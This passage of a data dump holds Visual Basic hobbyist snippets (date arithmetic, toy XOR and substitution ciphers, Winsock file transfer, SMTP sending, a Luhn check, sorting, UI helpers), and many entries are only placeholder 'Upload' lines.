1, dFechaAux)\n iDiaFinal = DateDiff(\"d\", pdFechaBase, dFechaAux)\n If iMesFinal > 0 Then\n iMesFinal = iMesFinal - 1\n Else\n If iYearFinal > 0 Then\n iYearFinal = iYearFinal - 1\n iMesFinal = 11\n End If\n End If\n Else\n iDiaFinal = DateDiff(\"d\", pdFechaBase, dFechaAux)\n End If\n sTiempo = \"Futuro: \"\n End Select\n \n sAux = Str(iYearFinal)\n If iYearFinal = 1 Then\n sAux = sAux & \" A├▒o, \"\n Else\n sAux = sAux & \" A├▒os, \"\n End If\n \n sAux = sAux & Str(iMesFinal)\n If iMesFinal = 1 Then\n sAux = sAux & \" Mes, \"\n Else\n sAux = sAux & \" Meses, \"\n End If\n \n sAux = sAux & Str(iDiaFinal)\n If iDiaFinal = 1 Then\n sAux = sAux & \" D├¡a\"\n Else\n sAux = sAux & \" Dias\"\n End If\n \n DiferenciaEnFechas = sTiempo & sAux\nEnd Function\n"},{"WorldId":1,"id":2977,"LineNumber":1,"line":"Public Function encryptAll(data As String, seed As Long) As String\nDim x As Integer, tmp As String, stepnum As Integer\nDim byteArray() As Byte, seedOffset As Integer, n As String\ntmp = Trim$(Str(seed))\nseed = 0\nFor x = 1 To Len(tmp)\nn = Mid(tmp, x, 1)\n seed = seed + CLng(n)\nNext x\n \nreCheckSeed:\n If seed > 255 Then\n seed = -1 + (seed - 255)\n GoTo reCheckSeed\n End If\nFor x = 1 To Len(data)\n ReDim Preserve byteArray(x)\n n = Mid(data, x, 1)\n byteArray(x) = Asc(n)\n \n stepnum = seed + x\nreCheckstepnum:\n If stepnum > 255 Then\n stepnum = -1 + (stepnum - 255)\n GoTo reCheckstepnum\n End If\n \n byteArray(x) = byteArray(x) Xor CByte(stepnum)\n \nNext x\n tmp = \"\"\n For x = 1 To Len(data)\n tmp = tmp & Chr(byteArray(x))\n Next x\nencryptAll = tmp\nEnd Function\n"},{"WorldId":1,"id":2985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6282,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7831,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2998,"LineNumber":1,"line":"'Add a textbox, a listbox, and a command button\n'Put this code in the command button\nClipboard.SetText \"\"\nText1.Text = \"\"\nFor X = 0 To List1.ListCount - 1\nText1.Text = Text1.Text & List1.List(X) & \", \"\nNext X\nClipboard.SetText Text1\n"},{"WorldId":1,"id":3035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3160,"LineNumber":1,"line":"Public Sub CreateIcon()\n Dim Tic As NOTIFYICONDATA\n Tic.cbSize = Len(Tic)\n Tic.hwnd = Picture1.hwnd\n Tic.uID = 1&\n Tic.uFlags = NIF_DOALL\n Tic.uCallbackMessage = WM_MOUSEMOVE\n Tic.hIcon = Picture1.Picture\n Tic.szTip = \"Visual Basic Demo Project\" & Chr$(0)\n erg = Shell_NotifyIcon(NIM_ADD, Tic)\n End Sub\n Public Sub DeleteIcon()\n Dim Tic As NOTIFYICONDATA\n Tic.cbSize = Len(Tic)\n Tic.hwnd = Picture1.hwnd\n Tic.uID = 1&\n erg = Shell_NotifyIcon(NIM_DELETE, Tic)\n End Sub\nPrivate Sub Command1_Click()\nCreateIcon\nEnd Sub\nPrivate Sub Command2_Click()\nDeleteIcon\nEnd Sub\nPrivate Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nX = X / Screen.TwipsPerPixelX\n Select Case X\n Case WM_LBUTTONDOWN\n Caption = \"Left Click\"\n Case WM_RBUTTONDOWN\n Caption = \"Right Click\"\n Case WM_MOUSEMOVE\n Caption = \"Move\"\n Case WM_LBUTTONDBLCLK\n Caption = \"Double Click\"\n End Select\nEnd Sub\n"},{"WorldId":1,"id":3253,"LineNumber":1,"line":"Option Explicit\nPrivate Const BIF_RETURNONLYFSDIRS = 1\nPrivate Const BIF_DONTGOBELOWDOMAIN = 2\nPrivate Const MAX_PATH = 260\nPrivate Declare Function SHBrowseForFolder Lib _\n\t\"shell32\" (lpbi As BrowseInfo) As Long\nPrivate Declare Function SHGetPathFromIDList Lib _\n\t\"shell32\" (ByVal pidList As Long, ByVal lpBuffer _\n\tAs String) As Long\nPrivate Declare Function lstrcat Lib \"kernel32\" _\n\tAlias \"lstrcatA\" (ByVal lpString1 As String, ByVal _\n\tlpString2 As String) As Long\nPrivate Type BrowseInfo\n\thWndOwner As Long\n\tpIDLRoot As Long\n\tpszDisplayName As Long\n\tlpszTitle As Long\n\tulFlags As Long\n\tlpfnCallback As Long\n\tlParam As Long\n\tiImage As Long\nEnd Type\nPrivate Sub Command1_Click()\n'Opens a Browse Folders Dialog Box that displays the \n'directories in your computer\nDim lpIDList As Long ' Declare Varibles\nDim sBuffer As String\nDim szTitle As String\nDim tBrowseInfo As BrowseInfo\nszTitle = \"Hello World. Click on a directory and \" & _\n\t\"it's path will be displayed in a message box\"\n' Text to appear in the the gray area under the title bar\n' telling you what to do\nWith tBrowseInfo\n\t.hWndOwner = Me.hWnd ' Owner Form\n\t.lpszTitle = lstrcat(szTitle, \"\")\n\t.ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN\nEnd With\nlpIDList = SHBrowseForFolder(tBrowseInfo)\nIf (lpIDList) Then\n\tsBuffer = Space(MAX_PATH)\n\tSHGetPathFromIDList lpIDList, sBuffer\n\tsBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)\n\tMsgBox sBuffer\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":5337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3080,"LineNumber":1,"line":"'$INCLUDE: 'directqb.bi'\n'Radix sorting: YAY! If you haven't heard of this before, it's\n'basically the best way to sort a set of values other than the\n'optimized radix sort, and I'm not handing out my code for that\n''basically, for a radix sort, you need to be able to look at bits,\n'and since I don't know of any vb functions to check a bit, I use\n'the directQB function DQBreadbit\n'For the record, DQBreadbit returns -1 if the bit is set and 0 if it is 0\n\n'number of values to be sorted\nsortnum = 100\n'sort0 is the array that contains the data to be sorted. This\n'is the one disadvantage to the radix sort. You need another equal\n'sized array.\nDim sort0(sortnum), sort1(sortnum)\nRandomize Timer: Cls\n'sort0 is the array to be sorted, sort1 is to assist\n'fill it with random crap\nFor i = 0 To sortnum\n sort0(i) = Int(Rnd * 10000)\nNext i\n\n'go through the bits from least important to most important\nFor Bit = 0 To 15\n 'set the pointers to the start of the two arrays\n tar0 = 0: tar1 = 0\n 'go through each number and if the current bit being checked is set, put it\n 'in the appropriate array\n For num = 0 To sortnum\n If DQBreadBit(sort0(num), Bit) Then sort1(tar1) = sort0(num): tar1 = tar1 + 1 Else sort0(tar0) = sort0(num): tar0 = tar0 + 1\n Next num\n 'get the now partially sorted data all into one array (sort0)\n For Copy = 0 To tar1 - 1\n sort0(tar0 + Copy) = sort1(Copy)\n Next Copy\nNext Bit\n\n'now sort0 contains all of the values sorted in ascending order\n'if there is a positive response to this, I think I'll make an ASM\n'sub to do radix sorts. Anyways, in an asm radix sort, it's not\n'uncommon to be able to sort 15000 values in less than a tenth of a\n'second. The trick is that the amount of time the radix sort takes\n'does not increase exponentially with the number of elements in the array.\n"},{"WorldId":1,"id":5991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4740,"LineNumber":1,"line":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'Note: This is a custom control for your applications. This will not properly\n'Get files from the internet or from an ftp. Although the dataarival sub would\n'be the same, I do not know how the transition would end so I just sent \"xx\"\n'and that tells the sub that the transition has ended\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'Public declarations\ndim FileOpen as Boolean\npublic function Send_File(FileToSend as string)\n'This is the function that sends a file\nDim Temp as string\nDim BlockSize as long\nopen filetosend for binary access read as #1 'Open the file to send\nBlockSize = 2048 'Set the block size, if needed, set it higher\ndo while not EOF(1)\n temp = Space$(blockSize) 'Give temp some space to store the data\n Get 1, , temp 'Get first line from file\n Winsock1.SendData temp 'Send the data\n DoEvents\nloop\nwinsock1.senddata \"xx\" 'This is a custom control that ends the transmition\nclose #1\nend function\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim temp As String\nDim data As String\n'Check to see if the file is already open\nIf fileOpen = False Then\n Open \"c:\\somefile_here\" For Binary Access Write As #2\n fileOpen = True\nElseIf fileOpen = True Then\n DoEvents\nEnd If\nWinsock1.GetData data 'Get the data\ntemp = data\n'Check to see if it is the end of the transmition\nIf temp = \"xx\" Then\n Close #2\n fileOpen = False\nElse\n Put 2, , temp 'Store the data to the file\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":5325,"LineNumber":1,"line":"Dim sRes As String\nPrivate Sub Command1_Click()\nWinsock1.RemotePort = 25\nWinsock1.RemoteHost = your_mail_server_here 'use your mail server\nWinsock1.Connect\nDo Until Winsock1.State = 7 '7=connected\n DoEvents\nLoop\nsRes = \"0\"\nWinsock1.SendData \"MAIL FROM: \" & your_email_here & vbCrLf\nDo Until sRes = \"250\"\n DoEvents\nLoop\nsRes = \"0\"\nWinsock1.SendData \"RCPT TO: \" & someone_email_here & vbCrLf\nDo Until sRes = \"250\"\n DoEvents\nLoop\nsRes = \"0\"\nWinsock1.SendData \"DATA\" & vbCrLf\nDo Until sRes = \"354\"\n DoEvents\nLoop\nWinsock1.SendData \"FROM: \" & your_name_here & vbCrLf\nWinsock1.SendData \"SUBJECT: \" & subject_here & vbCrLf\nWinsock1.SendData Text1.Text & vbCrLf & \".\" & vbCrLf\nDo Until sRes = \"250\"\n DoEvents\nLoop\nWinsock1.Close\nMsgBox \"Mail sent!\"\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim Data As String\nDim Length As Long\nWinsock1.GetData Data\nLength = Len(Data)\nsRes = Left$(Data, 3)\nEnd Sub\n"},{"WorldId":1,"id":5696,"LineNumber":1,"line":"Function CheckCard(CCNumber As String) As Boolean\n Dim Counter As Integer, TmpInt As Integer\n Dim Answer As Integer\n Counter = 1\n TmpInt = 0\n While Counter <= Len(CCNumber)\n If (Len(CCNumber) Mod 2) Then\n TmpInt = Val(Mid$(CCNumber, Counter, 1))\n If Not (Counter Mod 2) Then\n TmpInt = TmpInt * 2\n If TmpInt > 9 Then TmpInt = TmpInt - 9\n End If\n Answer = Answer + TmpInt\n Counter = Counter + 1\n Else\n TmpInt = Val(Mid$(CCNumber, Counter, 1))\n If (Counter Mod 2) Then\n TmpInt = TmpInt * 2\n If TmpInt > 9 Then TmpInt = TmpInt - 9\n End If\n Answer = Answer + TmpInt\n Counter = Counter + 1\n End If\n Wend\n Answer = Answer Mod 10\n If Answer = 0 Then CheckCard = True\nEnd Function\n"},{"WorldId":1,"id":6568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3471,"LineNumber":1,"line":"Option Explicit\nPublic Sub BoxGradient(OBJ As Object, R%, G%, B%, RStep%, GStep%, BStep%, Direc As Boolean)\nDim s%, xpos%, ypos%\nOBJ.ScaleMode = 3 'pixel\nIf Direc = True Then\nRStep% = -RStep%\nGStep% = -GStep%\nBStep% = -BStep%\nEnd If\nDoBox:\ns% = s% + 1\nIf xpos% < Int(OBJ.ScaleWidth / 2) Then xpos% = s%\nIf ypos% < Int(OBJ.ScaleHeight / 2) Then ypos% = s%\nOBJ.Line (xpos%, ypos%)-(OBJ.ScaleWidth - xpos%, OBJ.ScaleHeight - ypos%), RGB(R%, G%, B%), B\nR% = R% - RStep%\nIf R% < 0 Then R% = 0\nIf R% > 255 Then R% = 255\nG% = G% - GStep%\nIf G% < 0 Then G% = 0\nIf G% > 255 Then G% = 255\nB% = B% - BStep%\nIf B% < 0 Then B% = 0\nIf B% > 255 Then B% = 255\nIf xpos% = Int(OBJ.ScaleWidth / 2) And ypos% = Int(OBJ.ScaleHeight / 2) Then\nExit Sub\nEnd If\nGoTo DoBox\nEnd Sub\n"},{"WorldId":1,"id":3473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6940,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4510,"LineNumber":1,"line":"Public Sub LoadTree(ByVal tvTree As TreeView, ByVal sFileName As String)\n \n' Function by Chetan Sarva (November 17, 1999)\n' Please include this comment if you use this code.\nDim curNode As Node\nDim sDelimiter As String\nDim freef As Integer\nDim buf As String\nDim nodeparts As Variant\nsDelimiter = \"\u001e\" ' We want something extremely unique to delimit\n ' each of the pices of our treeview\n \n On Error Resume Next\n \n ' Get a free file and open our file for output\n freef = FreeFile()\n Open sFileName For Input As #freef\n \n Do\n DoEvents\n \n ' Read in the current line\n Line Input #freef, buf\n ' Split the line into pieces on our delimiter\n nodeparts = Split(buf, sDelimiter)\n \n ' See if it's a root or child node and add accordingly\n If nodeparts(3) = \"parent\" Then\n curNode = tvTree.Nodes.Add(, , nodeparts(1), nodeparts(0))\n curNode.Tag = nodeparts(2)\n Else\n curNode = tvTree.Nodes.Add(nodeparts(3), tvwChild, nodeparts(1), nodeparts(0))\n curNode.Tag = nodeparts(2)\n End If\n \n Loop Until EOF(freef)\n \n Close #freef\n \nEnd Sub\nPublic Sub SaveTree(ByVal tvTree As TreeView, ByVal sFileName As String)\n \n' Function by Chetan Sarva (November 17, 1999)\n' Please include this comment if you use this code.\nDim curNode As Node\nDim sDelimiter As String\nDim freef As Integer\nsDelimiter = \"\u001e\" ' We want something extremely unique to delimit\n ' each of the pices of our treeview\n On Error Resume Next\n \n ' Get a free file and open our file for output\n freef = FreeFile()\n Open sFileName For Output As #freef\n \n ' Loop through all the nodes and save all the\n ' important information\n For Each curNode In tvTree.Nodes\n \n If curNode.FullPath = curNode.Text Then\n Print #freef, curNode.Text; sDelimiter; curNode.Key; sDelimiter; curNode.Tag; sDelimiter; \"parent\"\n Else\n Print #freef, curNode.Text; sDelimiter; curNode.Key; sDelimiter; curNode.Tag; sDelimiter; curNode.Parent.Key\n End If\n \n Next curNode\n \n Close #freef\n \nEnd Sub\n"},{"WorldId":1,"id":3125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3166,"LineNumber":1,"line":"Private Sub Form_Load()\n'---------------------------------------------------------------------------\n---------------\n' Name : Form_Load\n' Purpose : Event when Form is being loaded\n' Parameters :\n' Date : Sonntag 22 August 1999 17:36\n' Revised :\n'---------------------------------------------------------------------------\n---------------\n 'Draw the Text\n DrawText\nEnd Sub\nPrivate Sub DrawText()\n'---------------------------------------------------------------------------\n---------------\n' Name : DrawText\n' Purpose : This Function Draws the Text vertical\n' Parameters :\n' Date : Sonntag 22 August 1999 17:36\n' Revised :\n'---------------------------------------------------------------------------\n---------------\n 'Declaration\n Dim stText1 As String\n Dim stText2 As String\n Dim imaxWidth As Integer\n Dim picTmp As PictureBox\n 'Define the Text, add some extra spaces before and after the Text\n stText1 = \" This is my vertical Text \"\n stText2 = \" This is shorter \"\n 'Get the max Width of the Text which will be displayed\n If TextWidth(stText1) > imaxWidth Then imaxWidth = TextWidth(stText1)\n If TextWidth(stText2) > imaxWidth Then imaxWidth = TextWidth(stText2)\n 'Start with\n With MSFlexGrid1\n 'Set the Width of the Col's so that the Text will be\n 'Displayed ok\n .ColWidth(0) = TextHeight(\"W\") * 2\n .ColWidth(1) = TextHeight(\"W\") * 2\n 'Set Hight of the First Row, thats where we are going to display\n 'the vertical Text\n .RowHeight(0) = imaxWidth\n 'Set Row for the First Time\n .Row = 0\n 'Save Rotated Text\n Set picTmp = GetRotatetText(stText1)\n 'Set Col\n .Col = 0\n 'Set Picture\n Set .CellPicture = picTmp.Image\n 'Save Rotated Text\n Set picTmp = GetRotatetText(stText2)\n 'Set Col\n .Col = 1\n 'Set Picture\n Set .CellPicture = picTmp.Image\n 'End with\n End With\nEnd Sub\nPublic Function GetRotatetText(stText As String) As PictureBox\n'---------------------------------------------------------------------------\n---------------\n' Name : GetRotatetText\n' Purpose : This Function Returns the Picture, which contains the\nverical drawed Text\n' Parameters : stText Contains the Text which has to be draw\n' Date : Sonntag 22 August 1999 17:37\n' Revised :\n'---------------------------------------------------------------------------\n---------------\n 'Declaration\n Dim iIndex As Integer\n 'Check if the first Picture has been used allready\n If Picture1(0).Tag <> \"\" Then\n Load Picture1(Picture1.Count)\n Else\n Picture1(0).Tag = \"used\"\n End If\n 'Save Index\n iIndex = Picture1.Count - 1\n 'Start with\n With Picture1(iIndex)\n 'Set the Heigth\n .Height = MSFlexGrid1.RowHeight(0)\n 'Draws the Text on the PictureBox\n DrawRotatedText Picture1(iIndex), 0, .Height, 90, stText\n 'Set Return\n Set GetRotatetText = Picture1(iIndex)\n 'End with\n End With\nEnd Function\nPublic Function DrawRotatedText(ByVal pTarget As Object, _\n ByVal X As Single, ByVal Y As Single, _\n ByVal dAngle As Double, _\n ByVal stText As String) As Boolean\n'---------------------------------------------------------------------------\n---------------\n' Name : DrawRotatedText\n' Purpose : This Function Draws the Text an the PictureBox which is\ndefined in the\n' parameters\n' Parameters : pTarget An Object, in this case the PictureBox\n' X The X Coordinate\n' Y The Y Coordinate\n' dAngle The Angle which should be used to draw, any anlge is\npossible\n' stText The Text which should be drawn on the PictureBox\n' Date : Sonntag 22 August 1999 17:38\n' Revised :\n'---------------------------------------------------------------------------\n---------------\n 'Declaration\n Dim RotFont As LOGFONT, OldFont As Long, hFont As Long\n Dim OldX As Single, OldY As Single\n 'Set Error Handling\n On Error GoTo ErrorRotatedText\n 'Define the LogFont Type\n With RotFont\n .lfEscapement = CLng(dAngle * 10)\n .lfFaceName = pTarget.FontName\n .lfHeight = pTarget.FontSize * -20 / Screen.TwipsPerPixelY\n .lfWeight = IIf(pTarget.FontBold, FW_BOLD, FW_NORMAL)\n If pTarget.FontStrikethru Then .lfStrikeOut = 1\n If pTarget.FontUnderline Then .lfUnderline = 1\n If pTarget.FontItalic Then .lfItalic = 1\n .lfOutPrecision = OUT_TT_PRECIS\n .lfQuality = ANTIALIASED_QUALITY\n .lfCharSet = DEFAULT_CHARSET\n .lfPitchAndFamily = VARIABLE_PITCH\n End With\n 'Generate and Asign the Font-Object\n hFont = CreateFontIndirect(RotFont)\n OldFont = SelectObject(pTarget.hDC, hFont)\n 'Save the Coordinatees\n OldX = pTarget.CurrentX\n OldY = pTarget.CurrentY\n 'Set the desired Coordinates\n pTarget.CurrentX = X\n pTarget.CurrentY = Y\n 'Print the Text\n pTarget.Print stText\n 'Set the Coordinates back\n pTarget.CurrentX = OldX\n pTarget.CurrentY = OldY\n 'Set original Font back and destroy the Generated Font\n SelectObject pTarget.hDC, OldFont\n DeleteObject hFont\n 'Set Return\n DrawRotatedText = True\nExitRotatedText:\n Exit Function\nErrorRotatedText:\n Resume ExitRotatedText\nEnd Function"},{"WorldId":1,"id":3184,"LineNumber":1,"line":"\nFunction PathExists(FullPath as string) as Boolean\n'based on function borrowed from Planet Source Safe\n Dim blnDirectory As Boolean\n \n On Error Resume Next\n \n If FileLen(FullPath) = 0& Then\n \n If Err = 0 Then\n \n blnDirectory = (GetAttr(FullPath) And vbDirectory)\n \n If blnDirectory Then PathExists = True\n \n End If\n End If\nEnd Function\n"},{"WorldId":1,"id":6245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3242,"LineNumber":1,"line":"'**************************************************************\n'* Best Tools *\n'* Conversion *\n'* v2.1 (Improved performance) *\n'* for VB *\n'* *\n'*This module contain a lot of subs and functions for basic *\n'*conversion between Hexadecimal, Binary and decimal. *\n'**************************************************************\nOption Explicit\nPublic Function Bin2Dec(ByVal sBin As String) As Long\n Dim i As Integer\n \n For i = 1 To Len(sBin)\n Bin2Dec = Bin2Dec + CLng(CInt(Mid(sBin, Len(sBin) - i + 1, 1)) * 2 ^ (i - 1))\n Next i\nEnd Function\nPublic Function Bin2Hex(ByVal sBin As String) As String\n Dim i As Integer\n Dim nDec As Long\n sBin = String(4 - Len(sBin) Mod 4, \"0\") & sBin 'Add zero to complete Byte\n For i = 1 To Len(sBin)\n nDec = nDec + CInt(Mid(sBin, Len(sBin) - i + 1, 1)) * 2 ^ (i - 1)\n Next i\n Bin2Hex = Hex(nDec)\n If Len(Bin2Hex) Mod 2 = 1 Then Bin2Hex = \"0\" & Bin2Hex\nEnd Function\nPublic Function Dec2Bin(ByVal nDec As Integer) As String\n 'This function is the same then Hex2Bin, but it has been copied to speed up process\n Dim i As Integer\n Dim j As Integer\n Dim sHex As String\n Const HexChar As String = \"0123456789ABCDEF\"\n \n sHex = Hex(nDec) 'That the only part that is different\n For i = 1 To Len(sHex)\n nDec = InStr(1, HexChar, Mid(sHex, i, 1)) - 1\n For j = 3 To 0 Step -1\n Dec2Bin = Dec2Bin & nDec \\ 2 ^ j\n nDec = nDec Mod 2 ^ j\n Next j\n Next i\n 'Remove the first unused 0\n i = InStr(1, Dec2Bin, \"1\")\n If i <> 0 Then Dec2Bin = Mid(Dec2Bin, i)\nEnd Function\nPublic Function Hex2Bin(ByVal sHex As String) As String\n Dim i As Integer\n Dim j As Integer\n Dim nDec As Long\n Const HexChar As String = \"0123456789ABCDEF\"\n \n For i = 1 To Len(sHex)\n nDec = InStr(1, HexChar, Mid(sHex, i, 1)) - 1\n For j = 3 To 0 Step -1\n Hex2Bin = Hex2Bin & nDec \\ 2 ^ j\n nDec = nDec Mod 2 ^ j\n Next j\n Next i\n 'Remove the first unused 0\n i = InStr(1, Hex2Bin, \"1\")\n If i <> 0 Then Hex2Bin = Mid(Hex2Bin, i)\nEnd Function\nPublic Function Hex2Dec(ByVal sHex As String) As Long\n Dim i As Integer\n Dim nDec As Long\n Const HexChar As String = \"0123456789ABCDEF\"\n \n For i = Len(sHex) To 1 Step -1\n nDec = nDec + (InStr(1, HexChar, Mid(sHex, i, 1)) - 1) * 16 ^ (Len(sHex) - i)\n Next i\n Hex2Dec = CStr(nDec)\nEnd Function\nPublic Function HiWord(ByVal DWord As Long) As Long\n HiWord = (DWord \\ 65536) And &HFFFF\nEnd Function\nPublic Function LoWord(ByVal DWord As Long) As Long\n LoWord = DWord And &HFFFF\nEnd Function\nPublic Function DWord(ByVal HiWord As Long, ByVal LoWord As Long) As Long\n DWord = ((LoWord And 65536) Or ((HiWord And 65536) * 65536))\nEnd Function"},{"WorldId":1,"id":3201,"LineNumber":1,"line":"' 1. Create a new form.\n' 2. Add a Textbox,a pictureBox and an Inet control.\n' 3. Let them all have their default name. \n' 4. Put all the code expect the global decleration in the \"form load procedure\"\n Dim Pos As Integer\n Dim Pos2 As Integer\n Dim Bilden() As Byte\n Dim NrString As String\n Text1.Text = Inet1.OpenURL (\"http://www.unitedmedia.com/comics/dilbert/archive/\") 'Download the page.\n Pos = InStr(1, Text1.Text, \"/comics/dilbert/archive/images/dilbert\")\n Pos2 = InStr(Pos, Text1.Text, \".gif\")\n NrString = Mid(Text1.Text, Pos, Pos2 - Pos)\n Text1.Text = \"http://www.unitedmedia.com\" + NrString + \".gif\" ' Debug filename\n Bilden() = Inet1.OpenURL(\"http://www.unitedmedia.com\" + NrString + \".gif\", icByteArray) ' Download picture.\n Open \"C:\\dilbert.gif\" For Binary Access Write As #1 ' Save the file.\n Put #1, , Bilden() \n Close #1 \n Picture1.Picture = LoadPicture(\"c:\\dilbert.gif\") 'Reload it to PictureBox\n SavePicture Picture1.Picture, \"c:\\dilbert.bmp\" 'Converted to bmp.. \n \n Call SystemParametersInfo(20, 0, \"c:\\dilbert.bmp\", 1) 'Change the wallpaper.\n Unload Me ' Exit program\n"},{"WorldId":1,"id":3355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3537,"LineNumber":1,"line":"Public Function Encode(vText As String)\n Dim CurSpc As Integer\n Dim varLen As Integer\n Dim varChr As String\n Dim varFin As String\n \n varLen = Len(vText)\n Do While CurSpc <= varLen\n DoEvents\n CurSpc = CurSpc + 1\n varChr = Mid(vText, CurSpc, 1)\n Select Case varChr\n 'lower case\n Case \"a\"\n varChr = \"coe\"\n Case \"b\"\n varChr = \"wer\"\n Case \"c\"\n varChr = \"ibq\"\n Case \"d\"\n varChr = \"am7\"\n Case \"e\"\n varChr = \"pm1\"\n Case \"f\"\n varChr = \"mop\"\n Case \"g\"\n varChr = \"9v4\"\n Case \"h\"\n varChr = \"qu6\"\n Case \"i\"\n varChr = \"zxc\"\n Case \"j\"\n varChr = \"4mp\"\n Case \"k\"\n varChr = \"f88\"\n Case \"l\"\n varChr = \"qe2\"\n Case \"m\"\n varChr = \"vbn\"\n Case \"n\"\n varChr = \"qwt\"\n Case \"o\"\n varChr = \"pl5\"\n Case \"p\"\n varChr = \"13s\"\n Case \"q\"\n varChr = \"c%l\"\n Case \"r\"\n varChr = \"w$w\"\n Case \"s\"\n varChr = \"6a@\"\n Case \"t\"\n varChr = \"!2&\"\n Case \"u\"\n varChr = \"(=c\"\n Case \"v\"\n varChr = \"wvf\"\n Case \"w\"\n varChr = \"dp0\"\n Case \"x\"\n varChr = \"w$-\"\n Case \"y\"\n varChr = \"vn&\"\n Case \"z\"\n varChr = \"c*4\"\n \n 'numbers\n Case \"1\"\n varChr = \"aq@\"\n Case \"2\"\n varChr = \"902\"\n Case \"3\"\n varChr = \"2.&\"\n Case \"4\"\n varChr = \"/w!\"\n Case \"5\"\n varChr = \"|pq\"\n Case \"6\"\n varChr = \"ml|\"\n Case \"7\"\n varChr = \"t'?\"\n Case \"8\"\n varChr = \">^s\"\n Case \"9\"\n varChr = \"<s^\"\n Case \"0\"\n varChr = \";&c\"\n \n 'caps\n Case \"A\"\n varChr = \"$)c\"\n Case \"B\"\n varChr = \"-gt\"\n Case \"C\"\n varChr = \"|p*\"\n Case \"D\"\n varChr = \"1\" & Chr(34) & \"r\"\n Case \"E\"\n varChr = \"c>:\"\n Case \"F\"\n varChr = \"@+x\"\n Case \"G\"\n varChr = \"v^a\"\n Case \"H\"\n varChr = \"]eE\"\n Case \"I\"\n varChr = \"aP0\"\n Case \"J\"\n varChr = \"{=1\"\n Case \"K\"\n varChr = \"cWv\"\n Case \"L\"\n varChr = \"cDc\"\n Case \"M\"\n varChr = \"*,!\"\n Case \"N\"\n varChr = \"fW\" & Chr(34)\n Case \"O\"\n varChr = \".?T\"\n Case \"P\"\n varChr = \"%<8\"\n Case \"Q\"\n varChr = \"@:a\"\n Case \"R\"\n varChr = \"&c$\"\n Case \"S\"\n varChr = \"WnY\"\n Case \"T\"\n varChr = \"{Sh\"\n Case \"U\"\n varChr = \"_%M\"\n Case \"V\"\n varChr = \"}'$\"\n Case \"W\"\n varChr = \"QlU\"\n Case \"X\"\n varChr = \"Im^\"\n Case \"Y\"\n varChr = \"l|P\"\n Case \"Z\"\n varChr = \".>#\"\n 'Special characters\n Case \"!\"\n varChr = \"\\\" & Chr(34) & \"]\"\n Case \"@\"\n varChr = \"cY,\"\n Case \"#\"\n varChr = \"x%B\"\n Case \"$\"\n varChr = \"a*v\"\n Case \"%\"\n varChr = \"'&T\"\n Case \"^\"\n varChr = \";%R\"\n Case \"&\"\n varChr = \"eG_\"\n Case \"*\"\n varChr = \"Z/e\"\n Case \"(\"\n varChr = \"rG\\\"\n 